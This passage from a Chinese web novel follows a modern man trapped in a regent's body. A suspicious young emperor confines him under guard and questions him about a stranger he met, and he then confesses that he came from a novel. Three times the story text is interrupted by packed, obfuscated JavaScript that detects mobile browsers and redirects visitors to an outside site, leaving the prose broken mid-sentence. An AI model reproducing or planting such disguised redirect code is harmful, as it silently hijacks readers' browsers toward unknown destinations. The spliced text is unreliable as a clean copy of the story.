一人一狗僵持了一段时间,远处突然传来一阵故意降低声音的喊声:“铃铛,铃铛!你在干什么!” 大狗叫了两声,随后刚出宋闻璟身上下来,便立马被人按住后颈,贴脸拍了两巴掌。 “谁让你自己偷偷跑出来的!吓死人了,你知不知道外面有多少人偷你这种小笨狗的。” 那只名叫铃铛的大狗,被套上了狗绳,瞬间老实了不少,脸上也不笑了,连带着耳朵都耷拉下来,委屈地闷闷哼了两声,随后便站在那人身后不动了。 宋闻璟静静看着眼前灵气活泼,又略显娇小的少女,不禁愣了下,便看见那少女立马朝他道歉道:“真不好意思,铃铛没伤着你吧。” “没有。”宋闻璟摇摇头。 “那就好。”少女笑着点点头,随后又注意到宋闻璟手里那蝶吃了一半的糕点,抬头睁着那双清澈明亮的眼眸,缓缓道:“你……半夜饿了?” 宋闻璟怔了下,随后点了下头。 “哈哈,难过铃铛会缠着你。”少女道,“铃铛是个小馋狗,一没看住就喜欢往后厨跑,所以我才会找过了,他可能看见你在吃东西,也想跟着吃点。” 闻言,宋闻璟也跟着笑了笑,道:“刚刚看出来了。” 顿了顿,又道:“铃铛这个名字真好听,狗也好看。” “是吧。”那少女笑了两声,道:“铃铛脾气也很好,就是有点不听话,它从小就这样,还特别犟。” 说罢,少女拽了拽手上的绳子,想将铃铛从身后拽出来,但铃铛好似还在气头上,跟定在了原地一般,一动不动。 无奈,少女移了移身子,将铃铛露出来道:“铃铛有人夸你漂亮呢,怎么不给人瞧瞧。” 铃铛愤愤叫了两声,似高傲地扭过头去。 少女看着铃铛不配合,无奈笑了两声,抬头又问道:“你是喜欢吃这个吗?” 宋闻璟道:“还可以。” “好啊。”少女道,“你是在这里长住吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818411|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋闻璟道:“应该是的,最早可能也要年后了。” 少女道:“你住在哪个房间?我给你报销,算给你道歉。” “什么?”宋闻璟愣了下,似没听明白。 少女顿了顿,张了张口话落到嘴边又收了回去,半晌道:“我……我特别有钱。” “不是。”宋闻璟摆了摆手,“不用,有人已经帮我免了。” “那……那好吧。”少女略有些失望,道:“那你住那个房间,等改日我让人给你送点糕点,算给我的铃铛赔不是。” “不用……”宋闻璟刚开口,便突然少女打断道:“那你想要什么?我不想欠你的。” 宋闻璟想了想,似无奈道:“地字一号。” “好!”少女点点头,随后本想将铃铛牵走,却没想到铃铛那股倔气又上来了,身子稳稳当当坐在地上一动不动。 无奈,少女蹲下身子,低声道:“为什么不走,你是只狗,不是头驴,要不然回去不喂你肉吃了。” “汪汪汪。”铃铛连着叫了几声发泄着自己的不满,却没想到一个没注意,便被人抱了起来,十几斤的大白狗压在一个四肢纤细,娇小柔弱的少女身上,宋闻璟看着一人一狗的背影,心里荡起一阵涟漪,却又在片刻消失,家里的小黄现在是不是也很重了。 回到房间已经很晚了,等宋闻璟睡醒,已经临近中午了,他推门走出去,高颉正好准备敲门喊他去吃饭。 饭桌上,高颉开始逐渐熟悉喂着小娃娃吃南瓜泥,柳溪也自顾自地吃着碗里的饭,唯独沈翊偏着头阴沉个脸一个劲地看着他。 宋闻璟坐在一边,被盯得心里发毛,脑中不断回想着自己是怎么又惹到沈翊了,难不成昨晚没给带东西吃,还是今天起的太晚了? 他扭头,不解地回看了沈翊一眼,一瞬间,沈翊转过头又把目光移开,宋闻璟愣了愣,但心里也是暗暗松了口气,刚想吃口菜压压惊,却没想到,筷子还没落下去,底下的菜就被人夹走了。 宋闻璟看了一眼,另一双筷子的来源,只默默想着,可能就是巧合吧,随后又移到另一盘菜跟前,这次夹到了,但被硬抢走了。 宋闻璟看着自己空落落的筷子,可怜兮兮地收了回来,又看了沈翊一眼,沈翊立马塞进嘴里,嚼了两口,含糊道:“谁先夹到算谁的。” 闻言,宋闻璟不禁皱了皱眉,这是什么幼稚的玩法? “陛下,这是在吃饭。”宋闻璟不禁提醒道,“不要玩游戏。” 沈翊淡淡道:“哪又怎么样?” “那我认输。”宋闻璟道,“现在可以好好吃饭了吗?” “不行。”沈翊道,“手慢没饭吃。” “嗯……” “什么?”一旁的柳溪不禁打趣道,“这是什么游戏?三岁孩童都不玩了,陛下还有这闲情呢。” “那怎么了?”沈翊道,“有人少吃一口,就省一口的粮食。” 60.第 60 章 这句话显然是说给宋闻璟听的,宋闻璟也明白,只是沉默着不作答,目光直直看着眼前色香味俱全的饭菜,顿感自己好像也没有那么饿了。 柳溪觉得气氛有些尴尬,故意重重咳了两声,慢慢道:“那倒也不必,外面粮食多的很,也不差这一口。” 说罢,柳溪在桌子下抬脚轻轻踢了沈翊一下,见沈翊没反应,柳溪又开口叫了他两声,问道:“你说对吧,陛下。” 空气里安静了两秒,沈翊抬眼瞧了他一眼,又默默移开,“我可没说。” “我说的。”柳溪被沈翊这么一噎,瞬间也来了脾气,“陛下,又想做什么?这粮食可没穷到这个地步吧” 沈翊不说话,饭桌上瞬间变得有些沉闷,宋闻璟看了看两人,又觉得为了一顿饭把刚为缓和的关系弄僵了,有点不值得,再说一顿饭不吃也饿不死。随后,便缓缓站起身,道:“我不饿,你们吃吧。” “哎,大人。”高颉看见宋闻璟起身,便急忙腾出一只手,拉住宋闻璟的衣袖,刚要说什么,抬眼又不经意间看见沈翊好似要吃人的眼神,到嘴边的话又不禁咽了回去,堪堪道:“大人要是一会儿饿了,就来找我,我给大人做。” “好。”宋闻璟点了点头,看着高颉怀里的小娃娃,又道:“孩子吃饱了吗?我帮你看吧。” “啊?”高颉怔了一下,觉得有点不太好意思,毕竟这孩子是自己抱回来,而且怎么说也不能给大人添麻烦,“没事,我可以自己抱的……” 话音刚落,怀里的小娃娃被稳稳接到宋闻璟手里,小娃娃吃饱了,安静了不少,被人抱起来,不哭不闹,也没挣扎,小脑袋搭在宋闻璟单薄的肩膀上,睁着圆溜溜、黑漆漆的眸子转来转去,好奇地打量着四周。 宋闻璟一只手托着小娃娃着后背,让他牢牢固定在自己身上,随后在三人的注视之下,宋闻璟缓缓上了楼,直到身影彻底消失三人眼前。 “怎么回事?”柳溪忍不住质问道,“你们两个人吵架了?” 闻言,沈翊脑中蓦地一空,他有点不明白自己在干什么?或许是因为自己知道宋闻璟又要打算跑,又或许是觉得自己很可怜,自己挑着一晚上的油灯,费劲地将那几张被烧掉的地势图,凭着记忆复刻了一遍,却没想到前不久还口口声声说要筑坝的人,现在又和旁人搞上了。 “喂,在想什么呢?”柳溪伸出手在他眼前晃了晃,“问你话呢,怎么发上呆了?” 一瞬间,沈翊倏地清醒了,摇了摇头,道:“没有。” “那……”那干嘛不让人吃饭? 柳溪没还问出口,便听到沈翊出声打断道:“吃饭,不吃就回房。” “哦哦。”柳溪下意识应了一句,看着沈翊忧愁满面,眼下还泛着淡淡的黑眼圈,直觉得是,这一看就是没睡好,想找个人发发脾气。随后也不再过多询问。 沈翊心不在焉地夹了一筷子菜塞进嘴里,却觉得这菜又涩又苦,难吃的很。沈翊不禁放下筷子,连吃饭的欲望也没有,随后站起身,冷冷道:“明天不许再上这道菜,难吃死了。” “什么?” “不好吃?” “还行啊。” 闻言,两人纷纷有些好奇地夹了一筷子塞进嘴里,再抬眼时,沈翊已经自顾自地地离开了。 “怎么陛下也不吃了?因为菜不合口味?”高颉疑惑道。 柳溪道:“应该是心情不好,这面容,我掐指一算就知道陛下昨晚没睡好,现在应该回去补觉了吧。” “这样啊。”高颉点头道,“可今天突然好奇怪啊。” “好了好了。”柳溪夹了一筷子放在高颉碗里,“今天算我们有口福了。” 高颉笑了笑,“谢谢柳大人。” 房间里,宋闻璟刚想把小娃娃放下,没想到小娃娃一只手紧攥着他的一缕头发动来动去,力气还有点大,扯的脑袋一阵一阵的疼。 宋闻璟缓缓把他放在床上,腾出手来,好不容易才从小娃娃手里争抢出自己的一缕头发,小娃娃好似自己做了什么坏事,眼睛一弯,冲着宋闻璟大笑起来,嘴里还时不时冒出几个听不懂的音阶。 “小孩果然难带,不知道高颉自己是怎么搞定的?”宋闻璟给他整了整衣服,一边言语着,一边给他擦掉从嘴里时不时吐出来的口水。 等高颉吃完饭回来时,小娃娃已经有点昏昏欲睡了,高颉从宋闻璟手里接过来,便回了房去哄睡。 宋闻璟待在屋子里有点无聊,便翻了翻房间里存放的书籍,本想消磨时间,但却适得其反,房间里安静下来,腹中的饥饿感便变得越发明显。 忍了又忍,宋闻璟还是决定出门给自己找点东西吃。毕竟,现在可是冬天啊,为维持体温,对待热量的消耗更是大,而且,现在沈翊也看不见他,总不能再无理取闹了吧。 想罢,宋闻璟刚推开门,抬眼看去,走廊里站着一个人,是宋闻璟此刻最不愿意见到的那个人。 顿了顿,宋闻璟又把门关上了,想着等沈翊过去了,自己再出去。 约莫过了一盏茶的时间,宋闻璟再一次打开了门,同样位置,同样动作,沈翊好像根本没动过…… 不过,在下一秒,沈翊动了,这方向好像还是朝自己这边。 一瞬间,宋闻璟下意识关上了门,不知道为什么,宋闻璟总感觉自己有点心虚,沈翊都不知道是不是来找自己的,可一出现踏出门的想法,自己便总感觉沈翊好像知道点什么。 “砰砰——” 耳边敲门声响起,宋闻璟站在门前,看着门微微颤动了几下,瞬间呆在了原地,这是什么意思? “皇叔,开门,我看见你了。” 宋闻璟大脑飞速转动,却在此刻什么也想不出,听着敲门声再次响起,宋闻璟被逼无奈地开了门。 “怎么了?” 宋闻璟看着沈翊眸子里浓重的戾气,笑着强装镇静问道。 沈翊板着脸冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825002|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声质问:“你昨晚去哪了?见谁了?” “我?我……我谁也没见。”宋闻璟听着有点害怕,浑身不禁冒出了冷汗,连带话都说的不利索。 话音落,沈翊好似再也压不住心底的愤恨,伸出手用力紧紧握住宋闻璟的手腕,将人迅速拉出房间,便一声不吭地拽着人往前走。 宋闻璟一时没反应过来,往前踉跄了一下,差点贴脸倒在地上。 “去哪?你要带我去哪?放手!”宋闻璟慌了,不断往后用力挣脱着,连忙道:“在这说不行吗?你轻点……” 可不管怎么挣脱,沈翊手上的力道不但没减,反倒更用力了,对于身旁宋闻璟的碎碎念,沈翊更是左耳朵进右耳朵出,全都自动无视掉。 还没走出多久,身后挣脱的动静越来越小了,沈翊以为宋闻璟已经被迫妥协了,可回头一瞧,眼前人脸色苍白,嘴唇也跟着褪去了血色,一双涣散无神的眼睛欲闭将闭,显然没有了刚刚的神气。 “你……” 沈翊刚吐出一个字,便看见宋闻璟眼一闭,身子一软,直直到了下去。 一瞬间,宋闻璟只觉得天旋地转,世界只剩黑白色,身上不断冒出薄汗,耳边的吵闹声逐渐离他原来越远,强烈的耳鸣声震的他发晕,身上软绵绵的,没有一点力气。 沈翊立马上前扶着他,将人牢牢圈在怀里,宋闻璟也顺势贴在他身上,手搭在沈翊肩膀上缓了好一会儿,被麻木的头脑才回归了几分清明。 “怎么了?” 沈翊身上的阴沉被吓去了大半,话里也不禁带了几分担忧,感受到怀里的人呼吸不再那么沉重急促,沈翊堪堪开口道。 宋闻璟微微睁开眼,眼前依旧有些朦胧,身上却像被人填充了棉花,使不上力气。 见宋闻璟不说话,沈翊不由得心里一紧,立即将人横抱起来,急匆匆踹开了柳溪的房门。 柳溪刚睡起来,头发乱糟糟的,就在屋子里穿了一件里衣,看见沈翊这番行为,当即就要炸毛,但又看见沈翊怀里的人,又硬生生压力下去。 “这是怎么了?”柳溪一边穿上外衣,一边追在沈翊身后问。 沈翊摇头,“我也不知道,刚刚还好好的。” “什么意思?”柳溪悄悄凑近沈翊,低声道:“你确定要这么早下手?” 沈翊道:“我没有。” “那……”柳溪刚要开口,便又沈翊急匆匆打断道:“你不是学过医术吗?你来给他看看。” 说罢,沈翊将人缓缓放到床上,立马退到一边,柳溪凑上前有模有样地摸上宋闻璟的脉搏。诊了片刻,柳溪叹了口气,随后淡淡道:“没什么大事,就是情绪太激动,还有被饿的,过一会儿就醒了。” “什么?” 柳溪道:“怎么了吗?这怎么回事?” 沈翊偏过头,淡淡道:“没事。” “最好没事。”柳溪贴近沈翊耳边,轻声道:“你现在必须得沉住气。” 61.第 61 章 宋闻璟没有彻底昏过去,等身上那阵不适感消散,他缓缓睁开眼,逐渐清晰的视野里,沈翊一动不动地坐在床边,目光呆滞地盯着远处,全然不知道在想什么。 宋闻璟没有出声打断他,只是自己静悄悄翻了个身背对着他,事情发生的太突然,他还没想好该怎么面对沈翊,也没摸清沈翊想做什么? 手里被压住的被子突然被扯了一下,沈翊骤然回神,下意识扭头看向身后的人,只见不知道什么时候,后面的人背过身去,将大半的脑袋埋进了被子里。 “醒了?”沈翊率先开口问道。 身后的人没有反应,过了半晌才轻轻“嗯”了一声。 空气里静了两秒,沈翊刚刚没得到满意的答案。此刻,心有不甘,阴沉个脸,又不禁固执地问了一遍:“昨晚的那个人是谁?” “我不知道。”宋闻璟闷闷道。此刻,脑袋清醒了不少,回想起昨晚,好像只是碰巧遇到了一个姑娘和一只大白狗,但自己确实不认识,萍水相逢而已,可沈翊是怎么知道的,他不是睡了吗? 想到这,宋闻璟好似猛然察觉到了什么,倏地坐起身,破为震惊地盯着沈翊,反向质问道:“你在监视我?” “监视?”沈翊闻言突然勾了勾唇,好似终于听到了一个满意回复,“所以,皇叔这是承认了?不过,现在还不算太晚。” “你想做什么?”宋闻璟紧紧盯着沈翊那双含满笑意眸子,又惊又恨道,“你凭什么监视我?” “确实应该。”沈翊站起身,从衣袖里摸出一张被折起来的纸愤恨地摔在宋闻璟身上,“我现在后悔没有早点监视你,可我也有必要提醒你一下,现在想跑太晚了。” “过两日,我们便启程回京,你最好早些打消这些想法,要不然我也不确定我的忍耐能不能让你活到京城。” 宋闻璟缓缓将纸展开,纸上还能闻到一种香甜的味道,像什么糕点的味道,但纸上只有几句话,还有一个印上去的小狗爪印,没有落款,但根据信的内容宋闻璟也大概猜出了是谁,上面除了代替铃铛道歉,还写着“希望不日后再见。” 宋闻璟看着这几个字眼,好像也明白了些什么,但自己确实没想过和这萍水相逢的姑娘有过牵扯。 再次抬眼,沈翊好似有些神气又道:“皇叔,这种传信息的方式太低等了,我没监视你,只是碰巧被我遇到了。” “所以呢?”宋闻璟将手里纸紧紧攥着,“你觉得我只会跑?” “不是觉得,是肯定。”沈翊道,“我不知道你身边还有什么人,所以我怕你下一秒就自己逃走了。” “在启程之前,你最好老实一点。” 宋闻璟闻言一时不知道该说什么,只知道自己很想立刻逃离这里,却没想到起的太着急,眼前蓦地一黑,身子一晃又坐了回去。 “这么着急,要去哪?想去透漏消息?”沈翊一只手搭在宋闻璟肩上不自觉用力按下了去,“劝你早点打消这念头,在没回京之前,你哪也不准去。” 等眼前黑影散去,耳边重新找回沈翊的声音,宋闻璟抬手缓缓拨开沈翊落在自己肩上的手,有些有气无力地辩解道:“我没有,我只是想回去。” “回哪啊?”沈翊突然俯下身,抬手握了握宋闻璟纤细匀称的臂膀,温声细语道:“就这几日了,皇叔就当委屈委屈,别再闹了。” 宋闻璟笑了声,心里酸涩难堪,缓缓道:“我说我不会跑,你为什么不信?” 沈翊不答,只是慢慢松开了手,直起身来,走到了一边。 已然到了这种地步,他不是不信,是不敢信,他怕一失足成千古恨,最后落得满盘皆输的局面,他想要就在眼前,不可能在此放手。 半晌,沈翊从桌子上端着一碗白粥走了过来,递到宋闻璟面前道:“皇叔饿了吧,先喝点粥垫垫,一会儿就吃晚饭了。” 宋闻璟看了一眼,虽然很想吃,但还是偏过头,又重复道:“我要回去。” 沈翊笑着凑上前,道:“好啊,过两天我们就回去,皇叔再等等,现在先吃点吧。” 宋闻璟不动,半晌又道:“我要回家。” “皇叔别着急,很快就到了。”沈翊用勺子搅了下米粥,“这粥都要凉了,皇叔先吃点吧。” “我不是说的这个……”宋闻璟喃喃自语道,“我要回从前的家,不是这里,我要回去。” “回去?”沈翊愣了愣,随后又想起宋闻璟好像是什么私生子身份,从前也从出现过在京中,他要回的,可能是从前生活过的地方吧,说要回去,看一下可以,但要留下,那不可以。 宋闻璟这个人,实在太让他忌惮,即使饶他一命,他也要让这个人活在自己眼下,就连死也要死在他手里,这样他才安心。 “等事情办完,我就带你回去。”沈翊这般想着,不禁温声道,“你若还想把亲人接过来,我也会好好待他们,让他们绝吃不了一点委屈。” 宋闻璟垂下眸,心里一怔,低声呢喃道:“惯会骗人,我早就回不去了。” “什么?” “那到时候,陛下会放过我吗?”宋闻璟慢慢看向沈翊,眼眶微微泛红,清澈的眼眸沾染上湿意,变得很亮。沈翊透过这道目光,好似看到了宋闻璟可怜的哀求,心里顺而一怔,没有意料之中的那般愉悦畅快,反倒居然还有点烦闷。 是因为宋闻璟求饶的太快了吗?还是觉得自己还没来得及做什么? 这种感觉萦绕心头,久久不散。半晌,沈翊努力忽视掉这让自己不爽的感觉,展开笑意道:“只要皇叔听话,我都会尽力满足的皇叔的。” 说罢,宋闻璟伸出手有点不情不愿地把那碗米粥接了过来,碗底已经凉了,里面的米粥很稠,几乎看不见汤水,宋闻璟拿着勺子在里面搅了几下,便舀了一勺吃进嘴里,还有点温热,淡淡的甜香在嘴中散开,也算彻底将压下去的饥饿感重新升了上来。 宋闻璟不自觉地又吃了几口,有了白粥的支撑,烦躁略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849406|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显呆滞的脑袋也是清明了许多,他抬眼瞧了沈翊一眼,看着沈翊正直勾勾地看着自己,心里那种不由得烦闷的感觉又涨了起来,他咽下嘴里的一口白粥,闷闷道:“你别这么看着我,我吃不下了。” 闻言,沈翊愣了一瞬,随后抬起手本想拿走宋闻璟手里的那碗米粥,却没想到手还没碰到,就被对面的人躲了一下。 “不是不吃了吗?一会儿让后厨做你喜欢吃的。” 沈翊手落在半空中,不解道。 “什么?”宋闻璟听完觉得更气了,“我没说不吃了,我说让你别看我了。” 看着沈翊破显无辜的眼神,宋闻璟心一横,端着碗略过沈翊跑去了桌子那边,继续慢悠悠地吃了起来。 等吃的差不多了,宋闻璟看着沈翊慢慢走了旁边,顺而坐了下去,“一会儿有人会过来送东西,这几天先睡这里。” 宋闻璟动作顿了一下,仿佛像放弃挣扎了一般,问道:“那我睡哪?” 沈翊道:“隔壁还有张小床,皇叔先委屈会儿。” 宋闻璟不说话,只是静静吃着那碗米粥。片刻,脑袋里一闪,宋闻璟好像突然想起了什么,抬头看向沈翊问道:“你知道裴夏在哪吗?” 裴夏或许会更了解,自己以前没想到过,本以为退出了朝堂,交了兵符就可以打消沈翊的念头,但没想到沈翊的疑心会这么重。 听到“裴夏”这两个字,沈翊倏地脑袋一空,裴夏在哪?裴夏可能早就死了,跟着江一一起死在半路上。自镇门打开,江五那边的信就传了进来,只说着江一自裁,裴夏身受重伤生死不明,大概也活不了了。 见沈翊不说话,宋闻璟扯了扯沈翊的衣袖,道:“你不是说他走了吗?你知道他去哪了吗?” 沈翊顿了顿,反问道:“你问他做什么?怎么还想搞些什么东西?” “不是。”宋闻璟默了默,随口道:“裴夏身上还有些东西,我没问清楚。” 沈翊不解:“什么东西,你自己还不清楚?” 宋闻璟一阵心虚,低头顿了顿,开始胡说八道道:“其实……我……我还有一部分势力在裴夏手里,但我不太了解,不知道裴夏怎么安排的,这不是……” “好啊。”沈翊闻言不由得变了脸色,一只手忽地拍在桌子上猛然站了起来,力气很大,宋闻璟面前的碗都跟着晃了一下,宋闻璟没想到沈翊会这么激动,顿时也被吓了一跳。 “我就知道,皇叔肯定还留着一手呢。” “不是……”宋闻璟默了默,“陛下,我也没打算要隐瞒的。” “现在呢?”沈翊紧紧盯着宋闻璟问道,“你就这般放心交给他?” 宋闻璟垂眸不语。 半晌,沈翊又问:“你确实不知道?” 宋闻璟继续低头沉默。片刻后,安静出奇的四周,他听见沈翊慢悠悠道:“裴夏死了,你和他主仆之情深厚,他的势力到时候想必也会追随你,只要你臣服,它也不会怎么样。” 62.第 62 章 裴夏死了,心中仅剩的最后一根弦彻底崩断,宋闻璟听到这个消息,心里很甚一惊,但表面上却只是笑了笑,他知道这必定是沈翊做的,奸臣自己都没有好下场,更何况奸臣身边的那些人呢。 宋闻璟不作声,一直低着头看着碗底残留的米粥,心里很乱却又很平静,他不知道现在自己还能做些什么。想罢,宋闻璟无助般地用勺子剐蹭着留在碗壁上米粒。顷刻间,一颗红豆般大的泪珠直直掉进碗里,没有征兆,好像也未曾在眼眶中停留。 瞬间,宋闻璟不禁怔了一下,随后心底的苦楚仿佛再也压不住,如同破开了牢笼一般,化作一滴滴泪水从眼眶中流了出来,视野渐渐模糊,他不敢出声又不敢抬头,只是当作若无其事地吃着碗里的米粥。 沈翊见他没反应,以为宋闻璟并不在意裴夏,因为宋闻璟培养他就是为了自己而死的。如果不是,那或许是在想这支势力可能被安排到了哪里,之后该如何安排。可等沈翊微微俯下身,却发现那人在哭。 这是不应该的,那为什么会哭? 第一次见宋闻璟哭时,是震惊,原来这人并不是没有情感,而这第二次,是奇怪,他从不是一个会可怜悲悯人的人。 “哭什么?”沈翊不禁问道,“你在为裴夏哭,还是因为别的?” 闻言,宋闻璟动作停了下来,并没有着急回答,随后抬手用袖子抹了一把泪,低声抽噎一下,他能哭什么,替裴夏哭,替以后不知道还要多少人给他陪葬的人哭,不止这些,宋闻璟更是为自己哭,哭自己年纪轻轻就穿进这个鬼地方,哭自己绕了一大圈居然还是回到了剧情结局,哭小皇帝从没相信过自己一次。 时间流逝,不知为何,沈翊看着宋闻璟这副样子,心里涌上一股说不出口的感觉,并且这种感觉让自己很不舒服,像被打了一拳,又或者是被猫挠了一下,很奇怪,又很烦,没等到的宋闻璟回答,沈翊便急忙忙逃了出去。 不过一会儿,有人送来了东西,宋闻璟草草收拾了一下,便卧进了被人收拾好了的小床上,脑子空空的,宋闻璟开始不自觉给自己做心理准备,死才不可怕,就一秒的功夫,可能还没时间感觉到疼,自己就先没意识了……可万一沈翊突然善心大发不想杀了呢,又或者我在半路偷偷成功跑了,然后去了一个谁也不知道的地方…… 再或者我死后,会不会再穿回去,就当作是做了一场恶梦? 宋闻璟在脑袋里乱七八糟地想着,连自己什么时候迷迷糊糊地睡了过去都不知道,全然觉得自己已经回到了现实,只当自己在半夜突然惊醒过来,深陷其中的宋闻璟,首当其冲回来的第一件事,就是打开手机找到了那本小说,在评论区里洋洋洒洒写了将近一千字的长评对着书里的主角从头到脚,从内到外的开始痛斥,写到半路,还不忘给自己点份外卖犒劳和安慰自己,毕竟那里的东西怎么会有外卖好吃。 评论发出去不久,便看到收到了不少评论和点赞量。 毕竟在这清一色谩骂奸臣的评论区里能看到这么长这么用心骂主角的,这是第一条。 宋闻璟点进去,很意外,看着满屏的赞同和极少数的反对,心里还察觉有些奇怪,但很快被冲出来的欣喜压了过去,宋闻璟躺在床上,一边翻着评论,一边在心里偷笑,还想着世上还是明白人多,不能因为是主角,就可以被一直美化和赞扬吧。 半晌,不知从何处传来一阵喊声:“该起来吃饭了。” 宋闻璟听这有些熟悉的声音,瞬间愣了了下,但怎么可能,要追杀也不能跨世界吧,随后还是觉得应该是外卖到了,一边嘴里喊着“来了”,一边忙不迭地下了床,可刚打开门,却发现眼前的外卖小哥的脸怎么这么像那个人。 愣了一下,或许是巧合,宋闻璟刚想接过外卖小哥手里的外卖,忽地,耳边又响起那熟悉的声音,他居然听见眼前的人在叫他:“皇叔,为什么还不醒?” 下一秒,即将接到手里的外卖突然凭空消失,胳膊被人攥住,瞬间,不由自主的恐慌感占满内心,眼前不断向四周展开的黑影,宋闻璟最终还是醒了,但人还有点懵。 缓了一会儿,视线慢慢移到落在自己胳膊的手上,顿了一下,宋闻璟翻过身看向沈翊过于熟悉的脸,不禁皱了皱眉,怎么又回来了?真是死了也不让人安生。 沈翊看着眼前好似还没睡醒的人,不由得又喊了一声,“皇叔醒醒,要吃饭了。” “嗯……”宋闻璟拖着长音应着,微微点了下头,随后又翻了过去,心不在焉地敷衍道:“我一会儿就去。” 听到身后没有了声音,宋闻璟闭了闭眼,随后在床上醒了会神,便穿好衣服走了出去。 见沈翊坐在凳子上等他,宋闻璟看了他一眼,便抬步向外走。不料人还没等出门,倒先差点被两把擦的锃亮的长剑抹了脖,情况有点突然,原本还留存的睡意现在彻底消散,宋闻璟被吓了一跳,不由得往后踉跄了几步,腿一软差点坐在地上。 沈翊跟在他身后,见状,便伸出手扶了他一把,等人站稳,又平静道:“皇叔别害怕,这是我特意挑选出来的羽林军负责保护你的。” “现在外面不安全,我不在,还能有人护着你。” 不安全?保护我? 可是刚刚这架势可没一点样子像,却倒是像怕我跑了。 想到这,宋闻璟不禁有些愠怒,瞟了一眼沈翊,连带语气都带着明显的脾气,“陛下都准备连房门都不让我出了,也不用给我安排这么多人跟着我。” 话音落下几秒钟,便听到身后人淡淡道:“外面不安全,更怕房间里也不安全,万一有人闯进来将皇叔掳走怎么办?还是得多防备点,要是……” 话还没说完,眼前早已没有宋闻璟的身影。 吃过饭,宋闻璟躺在隔壁的小床上,眼神漫无目的地盯着眼前的床顶,刚刚睡了一觉,现在倒没有丝毫睡意,扭头往前面看了看,还在书桌前不知道写什么的沈翊,不禁叹了口气,真是无聊又烦,要是现在能回去就好了。 鬼使神差般的,宋闻璟起身走了过去,坐到沈翊跟前,问道:“在写什么?” 沈翊手上动作不停,过了一会儿,才道:“不重要。” “什么?”宋闻璟怔了下,随后又不在意般地道:“不想跟我说就算了。” 反正我知不知道都无所谓。 约莫过了一盏茶的时间,沈翊突然开口道:“在收拾你的烂摊子,现在一看,有些律令要改一下了。” “什么我的?不是我的。”宋闻璟愤愤道,“我说这些都不是我做的,是那个人,是以前的那个我。” 沈翊抬眸瞧了他一眼,缓缓道:“你不想认?装失忆也不行,以前的你不还是你吗?” “不是,不是这个意思。”宋闻璟脑子一恍,有点不敢相信道:“所以你觉得我一直在骗你?” “我不知道你骗没骗。”沈翊道,“我只相信自己的判断。” “所以,你才从来不信我的话。”宋闻璟道,“以前是,现在也是。” 沈翊没回应,看着笔下即将成型的字,手上却不由得停了下来。 自己是从什么时候察觉到不对的呢?好像是那次落水之后,是第一次对着他那么温柔真诚的笑,又或者是第一次牢牢牵起他的手,从手里感受到了那抹陌生又温热的热源。 那时候是不可置信,是惊错,他看见宋闻璟眸子里的寒意散了,取而代之是晨曦,一天当中光线最温和且明亮的时刻,不像中午时那般炽热,也不像傍晚时那般哀愁。 在不曾察觉的无数个瞬间,沈翊不能否认是,自己被吸引了,他那个对自己冷冰冰且充满厌恶的皇叔变了,可为什么变了,他不知道,也想不明白。 世间既无神佛,又无妖魔,要说自己的皇叔是被什么东西附体了,那确实太奇怪了,或者说简直是疯了,不应该的,可却也有时候,确实无法替自己辩解打消这种可能性的原因。 那如果排除这个可能,宋闻璟或许是因为落水之后,脑子坏了,又或者是记忆错乱,失忆了,更甚者就是这人是装的,之后不知道又想做什么? 想来想去,沈翊还是觉得还是防备着一点的好,毕竟自己小心翼翼地走到了这里,不能因为宋闻璟的一次意外,就此毁了。 见沈翊不回答,宋闻璟突然开口道:“我可以告诉你一件秘密,但你不能觉得是我疯了,因为这是真的。” “嗯?”沈翊重新落下笔,心里倒有 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宋闻璟悄悄看着沈翊的脸色,半晌,轻声问道:“怎么了?你不相信?” 沈翊却道:“什么书?还有,你真的没记错?” 宋闻璟顿了顿,道:“这话本就叫《天喜王朝》,我在手机上看完就穿进来了,而且我什么没也干,我知道你最后一定会除掉我,但我也不知道为什么会穿成他,这次你能不能信我?就这一次。” “等等。”沈翊皱了皱眉,“什么?我有点不明白。” 这写话本的人起名还挺狂,史书上都还没结尾呢,这人就出书了?而且这写书的怎么敢这么写,这不是明显地跟宋闻璟作对吗?怪不得宋闻璟记得会这么清楚,可不会是代的这本书吧,不知道这本书还有没有了,等回去去搜搜,可是这个手机是什么?也是话本里的? 宋闻璟急忙道:“哪不明白?” 沈翊道:“都不是很明白,而且这书名确定没记错?还有你是在手机是看到的,手机这个是什么新的书阁?” “当然不是。”宋闻璟道,“就是一个长长方方的一个东西,可以干好多事情,可以拍照,听歌,追剧,刷视频,总之很多很多,我这样跟你说,你也不明白。” “什么意思?”沈翊道,“你觉得我很笨?” 